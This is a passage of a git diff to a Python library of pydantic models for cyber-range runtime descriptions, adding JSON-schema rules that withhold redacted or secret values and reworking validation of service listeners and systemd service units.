list[str]) -> list[str]: + if len(v) != len(set(v)): + raise ValueError("route methods must be unique after compatibility normalization") + return v @field_validator("auth_required", "session_required", mode="before") @classmethod diff --git a/implementations/python/packages/raes/runtime_application_values.py b/implementations/python/packages/raes/runtime_application_values.py new file mode 100644 index 000000000..0f19f1b84 --- /dev/null +++ b/implementations/python/packages/raes/runtime_application_values.py @@ -0,0 +1,61 @@ +"""Sensitivity-governed values exposed through runtime application routes.""" + +from pydantic import ConfigDict, field_validator, model_validator + +from ._base import SDLModel +from .runtime_filesystem import RuntimeSensitivityClassification, redacted_raw_value_schema +from .runtime_values import enforce_observed_value_redaction, parse_runtime_enum_or_var +from .runtime_vocabulary import GovernedVocabulary + +_REDACTED_SENSITIVITIES = ( + RuntimeSensitivityClassification.REDACTED, + RuntimeSensitivityClassification.OPERATOR_SECRET, +) + + +class RuntimeApplicationExposedField(SDLModel): + """A route-visible fixture secret or intentionally exposed diagnostic field. + + The sensitivity vocabulary is shared with the rest of the runtime surface. + A ``redacted`` or ``operator_secret`` field must omit its raw ``value``. + Other values, including credential-shaped fixture facts, are scenario + content needed for range realization and participant observation. + """ + + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="sensitivity", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + + name: str + sensitivity: GovernedVocabulary[RuntimeSensitivityClassification] = RuntimeSensitivityClassification.UNKNOWN + value: str = "" + description: str = "" + + @field_validator("name") + @classmethod + def validate_name(cls, v: str) -> str: + if not isinstance(v, str) or not v.strip(): + raise ValueError("exposed field name must be a non-empty string") + return v + + @field_validator("sensitivity", mode="before") + @classmethod + def normalize_sensitivity( + cls, + v: RuntimeSensitivityClassification | str, + ) -> RuntimeSensitivityClassification | str: + return parse_runtime_enum_or_var(v, RuntimeSensitivityClassification, field_name="sensitivity") + + @model_validator(mode="after") + def validate_redacted_value(self) -> "RuntimeApplicationExposedField": + enforce_observed_value_redaction( + owner_label=f"exposed field '{self.name}'", + value=self.value, + classification=self.sensitivity, + redacted_classifications=_REDACTED_SENSITIVITIES, + ) + return self diff --git a/implementations/python/packages/raes/runtime_container.py b/implementations/python/packages/raes/runtime_container.py index 6c712ed17..9eae7896d 100644 --- a/implementations/python/packages/raes/runtime_container.py +++ b/implementations/python/packages/raes/runtime_container.py @@ -3,7 +3,9 @@ import re from typing import Any -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator + +from raes.runtime_filesystem import flagged_raw_value_schema from ._base import SDLModel, is_variable_ref, parse_bool_or_var from .runtime_values import ( @@ -77,6 +79,10 @@ class RuntimeInitProcess(SDLModel): ``runtime.processes``; see ADR-027. """ + model_config = ConfigDict( + json_schema_extra=flagged_raw_value_schema(flag_field="argv_redacted", raw_field="argv", array=True) + ) + enabled: bool | str | None = None implementation: str = "" executable_path: str = "" diff --git a/implementations/python/packages/raes/runtime_database.py b/implementations/python/packages/raes/runtime_database.py index 4048faa4d..1bd5b65e2 100644 --- a/implementations/python/packages/raes/runtime_database.py +++ b/implementations/python/packages/raes/runtime_database.py @@ -24,8 +24,9 @@ import re from typing import Any -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import ( @@ -339,6 +340,14 @@ class DatabaseSetting(SDLModel): value withheld. """ + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + name: str value: str = "" value_classification: GovernedVocabulary[RuntimeSensitivityClassification] = ( diff --git a/implementations/python/packages/raes/runtime_datastore_partitions.py b/implementations/python/packages/raes/runtime_datastore_partitions.py index 880cc9549..45a083a96 100644 --- a/implementations/python/packages/raes/runtime_datastore_partitions.py +++ b/implementations/python/packages/raes/runtime_datastore_partitions.py @@ -11,8 +11,9 @@ value, exactly as the relational ``DatabaseSetting`` does. """ -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel, parse_int_or_var @@ -314,6 +315,14 @@ class RuntimeDatastoreSetting(SDLModel): author marks the value withheld. """ + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + setting_id: str scope: GovernedVocabulary[RuntimeDatastoreSettingScope] = RuntimeDatastoreSettingScope.ENGINE provenance: GovernedVocabulary[RuntimeDatastoreSettingProvenance] = RuntimeDatastoreSettingProvenance.UNKNOWN diff --git a/implementations/python/packages/raes/runtime_directory_identity.py b/implementations/python/packages/raes/runtime_directory_identity.py index 991049ae1..2f8bb3621 100644 --- a/implementations/python/packages/raes/runtime_directory_identity.py +++ b/implementations/python/packages/raes/runtime_directory_identity.py @@ -9,8 +9,9 @@ from enum import Enum from typing import Any -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel, parse_int_or_var @@ -163,6 +164,14 @@ class RuntimeIdentityAttribute(SDLModel): fixtures, diagnostics, schemas, and generated runtime artifacts. """ + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="values", + raw_value_schema={"type": "array", "minItems": 1}, + ) + ) + name: str values: list[str] = Field(default_factory=list) value_classification: GovernedVocabulary[RuntimeSensitivityClassification] = ( diff --git a/implementations/python/packages/raes/runtime_dns.py b/implementations/python/packages/raes/runtime_dns.py index a818ba181..4e6f143a5 100644 --- a/implementations/python/packages/raes/runtime_dns.py +++ b/implementations/python/packages/raes/runtime_dns.py @@ -14,8 +14,9 @@ import ipaddress -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel, is_variable_ref @@ -229,6 +230,14 @@ def validate_key_names(cls, v: list[str]) -> list[str]: class DnsRuntimeSetting(SDLModel): """Bounded DNS runtime setting with provenance and redaction.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + name: str value: str = "" value_classification: GovernedVocabulary[RuntimeSensitivityClassification] = ( diff --git a/implementations/python/packages/raes/runtime_environment.py b/implementations/python/packages/raes/runtime_environment.py index 6da6b1444..33121d558 100644 --- a/implementations/python/packages/raes/runtime_environment.py +++ b/implementations/python/packages/raes/runtime_environment.py @@ -2,10 +2,11 @@ from enum import Enum -from pydantic import Field, GetJsonSchemaHandler, field_validator, model_validator +from pydantic import ConfigDict, Field, GetJsonSchemaHandler, field_validator, model_validator from pydantic.json_schema import JsonSchemaValue from pydantic_core import CoreSchema +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel @@ -50,6 +51,14 @@ class RuntimeEnvironmentVariableProvenance(str, Enum): class RuntimeEnvironmentVariable(SDLModel): """Required runtime environment variable with provenance and sensitivity.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + name: str value: str = "" value_from: GeneratedArtifactValueSource | None = Field(default=None, exclude_if=lambda v: v is None) diff --git a/implementations/python/packages/raes/runtime_filesystem.py b/implementations/python/packages/raes/runtime_filesystem.py index 307d650bf..07b1f2d19 100644 --- a/implementations/python/packages/raes/runtime_filesystem.py +++ b/implementations/python/packages/raes/runtime_filesystem.py @@ -3,7 +3,7 @@ import re from enum import Enum -from pydantic import ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, ValidationInfo, field_validator, model_validator from raes.runtime_vocabulary import GovernedVocabulary @@ -110,6 +110,24 @@ def redacted_raw_value_schema( } +def flagged_raw_value_schema(*, flag_field: str, raw_field: str, array: bool = False) -> dict[str, object]: + """Publish the owning model's true-flag/raw-value omission rule.""" + return { + "if": { + "properties": { + flag_field: { + "anyOf": [ + {"const": True}, + {"type": "string", "pattern": r"^\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\s*$"}, + ] + } + }, + "required": [flag_field], + }, + "then": {"properties": {raw_field: {"maxItems": 0} if array else {"maxLength": 0}}}, + } + + _PRESENT_ONLY_FIELDS: tuple[str, ...] = ( "owner_user", "owner_group", @@ -125,6 +143,18 @@ def redacted_raw_value_schema( class RuntimeFilesystemEntry(SDLModel): """A filesystem entry observed inside a runtime node or container asset.""" + model_config = ConfigDict( + json_schema_extra={ + "if": { + "properties": { + "presence": {"pattern": "^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$"} + }, + "required": ["presence"], + }, + "then": {"properties": {name: {"enum": ["", None]} for name in _PRESENT_ONLY_FIELDS}}, + } + ) + path: str entry_type: GovernedVocabulary[RuntimeFilesystemEntryType] = RuntimeFilesystemEntryType.OTHER presence: GovernedVocabulary[RuntimeFilesystemPresence] = RuntimeFilesystemPresence.PRESENT diff --git a/implementations/python/packages/raes/runtime_forwarding_agent.py b/implementations/python/packages/raes/runtime_forwarding_agent.py index b340a62b4..a15b23871 100644 --- a/implementations/python/packages/raes/runtime_forwarding_agent.py +++ b/implementations/python/packages/raes/runtime_forwarding_agent.py @@ -21,8 +21,9 @@ closed enrollment lattice because they intentionally carry no raw value field. """ -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel, is_variable_ref, parse_int_or_var @@ -221,6 +222,14 @@ class RuntimeForwardingSetting(SDLModel): value withheld. """ + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + setting_id: str name: str = "" value: str = "" diff --git a/implementations/python/packages/raes/runtime_identity.py b/implementations/python/packages/raes/runtime_identity.py index 01768eb2d..c1360c4c1 100644 --- a/implementations/python/packages/raes/runtime_identity.py +++ b/implementations/python/packages/raes/runtime_identity.py @@ -9,8 +9,9 @@ from enum import Enum -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import flagged_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import ( @@ -153,6 +154,10 @@ class RuntimeSudoRule(SDLModel): scope was withheld because it carried sensitive arguments. """ + model_config = ConfigDict( + json_schema_extra=flagged_raw_value_schema(flag_field="command_redacted", raw_field="commands", array=True) + ) + principal: str principal_kind: GovernedVocabulary[RuntimeSudoPrincipalKind] = RuntimeSudoPrincipalKind.USER run_as_users: list[str] = Field(default_factory=list) diff --git a/implementations/python/packages/raes/runtime_listeners.py b/implementations/python/packages/raes/runtime_listeners.py index 76bdd2703..4cce87d2e 100644 --- a/implementations/python/packages/raes/runtime_listeners.py +++ b/implementations/python/packages/raes/runtime_listeners.py @@ -1,9 +1,10 @@ -"""Observed generic service-listener runtime inventory models for SDL nodes. +"""Generic service-listener runtime description models for SDL nodes. -These models record in-node listener facts: transport, bind endpoint, scope, -owning service/process, evidence, and optional correlation to host-published -ports. They deliberately do not redefine ``Node.services`` or -``runtime.network.published_ports``. +These models record the listener facts that are known: transport, bind +endpoint, scope, owning service/process, evidence, and optional correlation to +host-published ports. A description can be partial; completeness is assessed +only by an operation that needs an admitted endpoint. The models deliberately +do not redefine ``Node.services`` or ``runtime.network.published_ports``. """ from __future__ import annotations @@ -52,6 +53,15 @@ class RuntimeListenerProtocol(str, Enum): UNKNOWN = "unknown" +_NETWORK_PROTOCOLS = frozenset( + { + RuntimeListenerProtocol.TCP.value, + RuntimeListenerProtocol.UDP.value, + RuntimeListenerProtocol.SCTP.value, + } +) + + class RuntimeListenerAddressFamily(str, Enum): """Address family observed for a runtime listener.""" @@ -75,6 +85,10 @@ class RuntimeListenerScope(str, Enum): OTHER = "other" +_KNOWN_ADDRESS_FAMILIES = frozenset(member.value for member in RuntimeListenerAddressFamily) +_KNOWN_SCOPES = frozenset(member.value for member in RuntimeListenerScope) + + class RuntimeListenerProvenance(str, Enum): """Source class for an observed runtime listener fact.""" @@ -200,7 +214,12 @@ def coerce_evidence_refs(cls, v: Any) -> list[str]: class RuntimeServiceListener(SDLModel): - """Observed generic runtime listener attached to a node.""" + """Possibly partial runtime listener description attached to a node. + + Only ``service_listener_id`` is universally required. Supplied facts are + validated for bounds and contradictions, but missing endpoint facts are + not fabricated or rejected at this descriptive boundary. + """ service_listener_id: str service: str = "" @@ -279,72 +298,142 @@ def coerce_evidence_refs(cls, v: Any) -> list[str]: @model_validator(mode="after") def validate_listener_shape(self) -> RuntimeServiceListener: - protocol = _value(self.protocol) - if protocol == RuntimeListenerProtocol.UNIX.value: + protocol = _value(self.protocol) if "protocol" in self.model_fields_set else None + # TCP is also the legacy serialized default, so a nested listener alone + # cannot distinguish authored TCP from a default materialized by an + # instantiated artifact. Scenario-aware semantic validation owns TCP + # contradictions using source/instantiation provenance. + shape_protocol = None if protocol == RuntimeListenerProtocol.TCP.value else protocol + has_unix_endpoint = bool(self.socket_path) + has_network_endpoint = self._has_network_endpoint() + if shape_protocol == RuntimeListenerProtocol.UNIX.value: self._validate_unix_listener() - else: + elif shape_protocol in _NETWORK_PROTOCOLS: self._validate_network_listener() - self._validate_address_family() - self._validate_scope() + elif has_unix_endpoint and has_network_endpoint: + raise ValueError("Listener must not combine Unix socket and network endpoint fields") + self._validate_address_family(shape_protocol) + self._validate_scope(shape_protocol) + self._validate_family_scope_agreement() self._validate_published_refs() return self def _validate_unix_listener(self) -> None: - if not self.socket_path: - raise ValueError("Unix listeners require socket_path") if self.port is not None: raise ValueError("Unix listeners must not set port") if self.address: raise ValueError("Unix listeners must not set address") - scope = _value(self.scope) - if scope not in {RuntimeListenerScope.LOCAL_SOCKET.value, RuntimeListenerScope.UNKNOWN.value}: - raise ValueError(f"scope '{scope}' contradicts Unix socket listener") + if self.bind_interface: + raise ValueError("Unix listeners must not set bind_interface") def _validate_network_listener(self) -> None: if self.socket_path: raise ValueError("Network listeners must not set socket_path") - if self.port is None: - raise ValueError("Network listeners require port") - if not self.address and not self.bind_interface: - raise ValueError("Network listeners require address or bind_interface") - def _validate_address_family(self) -> None: - family = _value(self.address_family) - protocol = _value(self.protocol) - if is_variable_ref(family) or family in {RuntimeListenerAddressFamily.UNSPECIFIED.value, "other"}: + def _has_network_endpoint(self) -> bool: + return self.port is not None or bool(self.address) or bool(self.bind_interface) + + def _validate_address_family(self, protocol: str | None) -> None: + family = self._concrete_address_family() + if family is None: return + self._validate_address_family_shape(family, protocol) + self._validate_address_family_value(family) + + def _concrete_address_family(self) -> str | None: + family = _value(self.address_family) + non_concrete = { + RuntimeListenerAddressFamily.UNSPECIFIED.value, + RuntimeListenerAddressFamily.UNKNOWN.value, + RuntimeListenerAddressFamily.OTHER.value, + } + return ( + None + if is_variable_ref(family) or family in non_concrete or family not in _KNOWN_ADDRESS_FAMILIES + else family + ) + + def _validate_address_family_shape(self, family: str, protocol: str | None) -> None: if protocol == RuntimeListenerProtocol.UNIX.value: if family != RuntimeListenerAddressFamily.UNIX.value: raise ValueError(f"address_family '{family}' contradicts Unix socket listener") - return - if family == RuntimeListenerAddressFamily.UNIX.value: + if protocol in _NETWORK_PROTOCOLS and family == RuntimeListenerAddressFamily.UNIX.value: + raise ValueError(f"address_family '{family}' contradicts network listener") + if self.socket_path and family != RuntimeListenerAddressFamily.UNIX.value: + raise ValueError(f"address_family '{family}' contradicts Unix socket listener") + if self._has_network_endpoint() and family == RuntimeListenerAddressFamily.UNIX.value: raise ValueError(f"address_family '{family}' contradicts network listener") + + def _validate_address_family_value(self, family: str) -> None: ip = _parse_ip(self.address) - if ip is None: + if ip is not None: + expected = ( + RuntimeListenerAddressFamily.IPV4.value if ip.version == 4 else RuntimeListenerAddressFamily.IPV6.value + ) + if family != expected: + raise ValueError(f"address_family '{family}' contradicts address '{self.address}'") + + def _validate_scope(self, protocol: str | None) -> None: + scope = self._concrete_scope() + if scope is None: return - expected = ( - RuntimeListenerAddressFamily.IPV4.value if ip.version == 4 else RuntimeListenerAddressFamily.IPV6.value - ) - if family != expected: - raise ValueError(f"address_family '{family}' contradicts address '{self.address}'") + self._validate_scope_shape(scope, protocol) + self._validate_scope_address(scope) - def _validate_scope(self) -> None: + def _concrete_scope(self) -> str | None: scope = _value(self.scope) - if is_variable_ref(scope) or scope in {RuntimeListenerScope.UNKNOWN.value, RuntimeListenerScope.OTHER.value}: - return - protocol = _value(self.protocol) - if protocol != RuntimeListenerProtocol.UNIX.value and scope == RuntimeListenerScope.LOCAL_SOCKET.value: + non_concrete = {RuntimeListenerScope.UNKNOWN.value, RuntimeListenerScope.OTHER.value} + return None if is_variable_ref(scope) or scope in non_concrete or scope not in _KNOWN_SCOPES else scope + + def _validate_scope_shape(self, scope: str, protocol: str | None) -> None: + has_network_endpoint = self._has_network_endpoint() + if ( + protocol in _NETWORK_PROTOCOLS or has_network_endpoint + ) and scope == RuntimeListenerScope.LOCAL_SOCKET.value: raise ValueError("scope 'local_socket' requires Unix socket listener") - ip = _parse_ip(self.address) - is_wildcard = self.address == "*" or (ip is not None and ip.is_unspecified) - is_loopback = self.address == "localhost" or (ip is not None and ip.is_loopback) + if self.socket_path and scope != RuntimeListenerScope.LOCAL_SOCKET.value: + raise ValueError(f"scope '{scope}' contradicts Unix socket listener") + if protocol == RuntimeListenerProtocol.UNIX.value and scope != RuntimeListenerScope.LOCAL_SOCKET.value: + raise ValueError(f"scope '{scope}' contradicts Unix socket listener") + + def _validate_scope_address(self, scope: str) -> None: + is_wildcard, is_loopback, is_non_loopback_ip = self._address_scope_characteristics() if is_wildcard and scope != RuntimeListenerScope.WILDCARD.value: raise ValueError(f"scope '{scope}' contradicts wildcard address '{self.address}'") if is_loopback and scope == RuntimeListenerScope.NETWORK_FACING.value: raise ValueError(f"scope '{scope}' contradicts loopback address '{self.address}'") - if ip is not None and not ip.is_loopback and scope == RuntimeListenerScope.LOOPBACK_ONLY.value: + if is_non_loopback_ip and scope == RuntimeListenerScope.LOOPBACK_ONLY.value: raise ValueError(f"scope '{scope}' contradicts non-loopback address '{self.address}'") + def _address_scope_characteristics(self) -> tuple[bool, bool, bool]: + ip = _parse_ip(self.address) + is_wildcard = self.address == "*" or (ip is not None and ip.is_unspecified) + is_loopback = self.address == "localhost" or (ip is not None and ip.is_loopback) + is_non_loopback_ip = ip is not None and not ip.is_loopback + return is_wildcard, is_loopback, is_non_loopback_ip + + def _validate_family_scope_agreement(self) -> None: + family = _value(self.address_family) + scope = _value(self.scope) + if is_variable_ref(family) or is_variable_ref(scope): + return + if family == RuntimeListenerAddressFamily.UNIX.value and scope in { + RuntimeListenerScope.WILDCARD.value, + RuntimeListenerScope.LOOPBACK_ONLY.value, + RuntimeListenerScope.NETWORK_FACING.value, + RuntimeListenerScope.NODE_LOCAL.value, + }: + raise ValueError(f"scope '{scope}' contradicts Unix address_family") + if ( + family + in { + RuntimeListenerAddressFamily.IPV4.value, + RuntimeListenerAddressFamily.IPV6.value, + } + and scope == RuntimeListenerScope.LOCAL_SOCKET.value + ): + raise ValueError(f"scope '{scope}' contradicts address_family '{family}'") + def _validate_published_refs(self) -> None: seen: set[tuple[str, int | str | None, int | str, str]] = set() for ref in self.published_port_refs: diff --git a/implementations/python/packages/raes/runtime_mail_service/_elements.py b/implementations/python/packages/raes/runtime_mail_service/_elements.py index 12cdf7c36..dd844eae2 100644 --- a/implementations/python/packages/raes/runtime_mail_service/_elements.py +++ b/implementations/python/packages/raes/runtime_mail_service/_elements.py @@ -7,8 +7,9 @@ import re -from pydantic import Field, field_validator, model_validator +from pydantic import ConfigDict, Field, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from .._base import SDLModel, is_variable_ref, parse_int_or_var @@ -343,6 +344,14 @@ def normalize_stability(cls, v: RuntimeMailQueueStability | str) -> RuntimeMailQ class RuntimeMailSetting(SDLModel): """A mail-service runtime setting with source/provenance and redaction.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + setting_id: str component_ref: str = "" name: str diff --git a/implementations/python/packages/raes/runtime_platform_application_content.py b/implementations/python/packages/raes/runtime_platform_application_content.py index 9c44480fa..7c4486ca8 100644 --- a/implementations/python/packages/raes/runtime_platform_application_content.py +++ b/implementations/python/packages/raes/runtime_platform_application_content.py @@ -10,8 +10,9 @@ from typing import Any -from pydantic import Field, field_validator, model_validator +from pydantic import ConfigDict, Field, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import SDLModel, parse_int_or_var @@ -282,6 +283,14 @@ class RuntimePlatformApplicationSetting(SDLModel): A setting name does not by itself redact SDL scenario content. """ + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + setting_id: str name: str = "" value: str = "" diff --git a/implementations/python/packages/raes/runtime_resource_limits.py b/implementations/python/packages/raes/runtime_resource_limits.py index b27e377ef..2d5047d10 100644 --- a/implementations/python/packages/raes/runtime_resource_limits.py +++ b/implementations/python/packages/raes/runtime_resource_limits.py @@ -5,11 +5,13 @@ from collections.abc import Mapping from typing import Annotated, Literal -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator from raes_contracts.apparatus import ProcessResourceLimitCapability from raes_contracts.canonical import canonical_json_digest from raes_contracts.vocabulary import ProcessResourceLimitKind, ProcessResourceLimitScope +from raes.runtime_filesystem import flagged_raw_value_schema + from ._base import SDLModel, WholeFieldVariableReference, contains_variable_token, parse_int_or_var from .runtime_capabilities import ( RuntimeProcessIdentity, @@ -102,6 +104,14 @@ def _validate_process_limit_values(soft: RuntimeProcessLimitValue, hard: Runtime class RuntimeProcessResourceLimit(SDLModel): """One portable soft/hard process limit for a selected process or subtree.""" + model_config = ConfigDict( + json_schema_extra=lambda schema: ( + schema["properties"]["subject"] + .setdefault("allOf", []) + .append(flagged_raw_value_schema(flag_field="command_redacted", raw_field="command", array=True)) + ) + ) + resource: RuntimeProcessLimitResource soft: RuntimeProcessLimitValue hard: RuntimeProcessLimitValue diff --git a/implementations/python/packages/raes/runtime_security_monitoring/_models.py b/implementations/python/packages/raes/runtime_security_monitoring/_models.py index 6474dbc17..eec8387de 100644 --- a/implementations/python/packages/raes/runtime_security_monitoring/_models.py +++ b/implementations/python/packages/raes/runtime_security_monitoring/_models.py @@ -1,7 +1,8 @@ """Security-monitoring manager runtime inventory models.""" -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from .._base import SDLModel, parse_int_or_var @@ -231,6 +232,14 @@ def parse_loaded(cls, v: object) -> bool | str | None: class RuntimeSecurityMonitoringSetting(SDLModel): """A bounded manager setting with sensitivity classification.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + setting_id: str component_ref: str = "" name: str diff --git a/implementations/python/packages/raes/runtime_service_units.py b/implementations/python/packages/raes/runtime_service_units.py index a2abb6e0b..1f5356338 100644 --- a/implementations/python/packages/raes/runtime_service_units.py +++ b/implementations/python/packages/raes/runtime_service_units.py @@ -19,8 +19,17 @@ from enum import Enum -from pydantic import ValidationInfo, field_validator, model_validator +from pydantic import ( + ConfigDict, + Field, + SerializerFunctionWrapHandler, + ValidationInfo, + field_validator, + model_serializer, + model_validator, +) +from raes.runtime_filesystem import flagged_raw_value_schema, redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import ( @@ -52,6 +61,18 @@ _STATUS_TEXT_MAX_LEN = 256 _EXIT_CODE_MIN = 0 _EXIT_CODE_MAX = 255 +_SYSTEMD_PROFILE_DEFAULTS: dict[str, object] = { + "unit_type": "other", + "load_state": "unknown", + "active_state": "unknown", + "sub_state": "", + "enabled_state": "unknown", + "result": "unknown", + "exit_code": None, + "status_text": "", + "main_pid": None, + "exec_start": None, +} class ServiceManagerKind(str, Enum): @@ -158,7 +179,7 @@ class ServiceUnitExecStartKind(str, Enum): def _validate_unit_name(value: str) -> str: - """Validate a native service-manager unit name (e.g. ``sshd.service``). + """Validate a concrete native service-manager unit name. Unit names are participant-visible data, not stable RAES ids, but they must be concrete to be useful for duplicate detection and downstream @@ -173,10 +194,6 @@ def _validate_unit_name(value: str) -> str: raise ValueError("unit_name must be a non-empty string") if any(ch.isspace() for ch in value): raise ValueError(f"unit_name '{value}' must not contain whitespace") - if "." not in value: - raise ValueError( - f"unit_name '{value}' must include a unit-type suffix (e.g. '.service', '.socket')", - ) return value @@ -191,6 +208,19 @@ class ServiceUnitExecStart(SDLModel): operator-only arguments, the surface stores only the redacted shape. """ + model_config = ConfigDict( + json_schema_extra={ + "allOf": [ + flagged_raw_value_schema(flag_field="command_redacted", raw_field="command", array=False), + redacted_raw_value_schema( + sensitivity_field="command_kind", + raw_field="command", + raw_value_schema={"type": "string", "minLength": 1}, + ), + ] + } + ) + command_kind: GovernedVocabulary[ServiceUnitExecStartKind] = ServiceUnitExecStartKind.ABSOLUTE_PATH command: str = "" command_redacted: bool | str = False @@ -263,9 +293,41 @@ class ServiceManagerUnit(SDLModel): ``runtime.operational_policy``, and ``runtime.ssh_servers``. """ + model_config = ConfigDict( + json_schema_extra={ + "allOf": [ + { + "if": { + "required": ["manager_kind"], + "properties": {"manager_kind": {"pattern": r"^[sS][yY][sS][tT][eE][mM][dD]$"}}, + }, + "then": {"properties": {"unit_name": {"pattern": r"^[^\s]+\.[^\s]+$"}}}, + }, + { + "if": { + "required": ["manager_kind"], + "properties": { + "manager_kind": { + "anyOf": [ + {"pattern": r"^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$"}, + {"pattern": r"^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$"}, + ] + } + }, + }, + "then": { + "properties": { + field: {"const": default} for field, default in _SYSTEMD_PROFILE_DEFAULTS.items() + } + }, + }, + ] + } + ) + unit_id: str manager_kind: GovernedVocabulary[ServiceManagerKind] = ServiceManagerKind.SYSTEMD - unit_name: str + unit_name: str = Field(default="", pattern=r"^\S+$") unit_type: GovernedVocabulary[ServiceUnitKind] = ServiceUnitKind.OTHER load_state: GovernedVocabulary[ServiceUnitLoadState] = ServiceUnitLoadState.UNKNOWN active_state: GovernedVocabulary[ServiceUnitActiveState] = ServiceUnitActiveState.UNKNOWN @@ -280,6 +342,13 @@ class ServiceManagerUnit(SDLModel): service: str = "" description: str = "" + @model_serializer(mode="wrap") + def _serialize_supplied_fields(self, handler: SerializerFunctionWrapHandler) -> dict[str, object]: + """Keep omitted manager/name/state fields absent across lifecycle artifacts.""" + + serialized = handler(self) + return {field: value for field, value in serialized.items() if field in self.model_fields_set} + @field_validator("unit_id") @classmethod def validate_unit_id(cls, v: str) -> str: @@ -360,6 +429,24 @@ def validate_sub_state(cls, v: str, info: ValidationInfo) -> str: def validate_status_text(cls, v: str, info: ValidationInfo) -> str: return _bounded_text(v, max_len=_STATUS_TEXT_MAX_LEN, field_name=info.field_name) + @model_validator(mode="after") + def validate_manager_profile(self) -> "ServiceManagerUnit": + manager_is_explicit = "manager_kind" in self.model_fields_set + manager_is_variable = isinstance(self.manager_kind, str) and is_variable_ref(self.manager_kind) + if manager_is_explicit and not manager_is_variable: + if self.manager_kind == ServiceManagerKind.SYSTEMD: + if self.unit_name and "." not in self.unit_name: + raise ValueError("explicit systemd unit_name must include a unit-type suffix") + else: + non_default = [ + field + for field, default in _SYSTEMD_PROFILE_DEFAULTS.items() + if field in self.model_fields_set and getattr(self, field) != default + ] + if non_default: + raise ValueError("non-systemd managers cannot carry explicit systemd profile state") + return self + @model_validator(mode="after") def validate_exit_code_consistency(self) -> "ServiceManagerUnit": # exit_code is meaningful only when result=exit_code (or when result is diff --git a/implementations/python/packages/raes/runtime_ssh_server.py b/implementations/python/packages/raes/runtime_ssh_server.py index 767b55e5e..9097687cf 100644 --- a/implementations/python/packages/raes/runtime_ssh_server.py +++ b/implementations/python/packages/raes/runtime_ssh_server.py @@ -16,8 +16,9 @@ from enum import Enum -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import ConfigDict, Field, ValidationInfo, field_validator, model_validator +from raes.runtime_filesystem import flagged_raw_value_schema, redacted_raw_value_schema from raes.runtime_vocabulary import GovernedVocabulary from ._base import ( @@ -127,6 +128,19 @@ class SshForcedCommand(SDLModel): be true. """ + model_config = ConfigDict( + json_schema_extra={ + "allOf": [ + flagged_raw_value_schema(flag_field="command_redacted", raw_field="command", 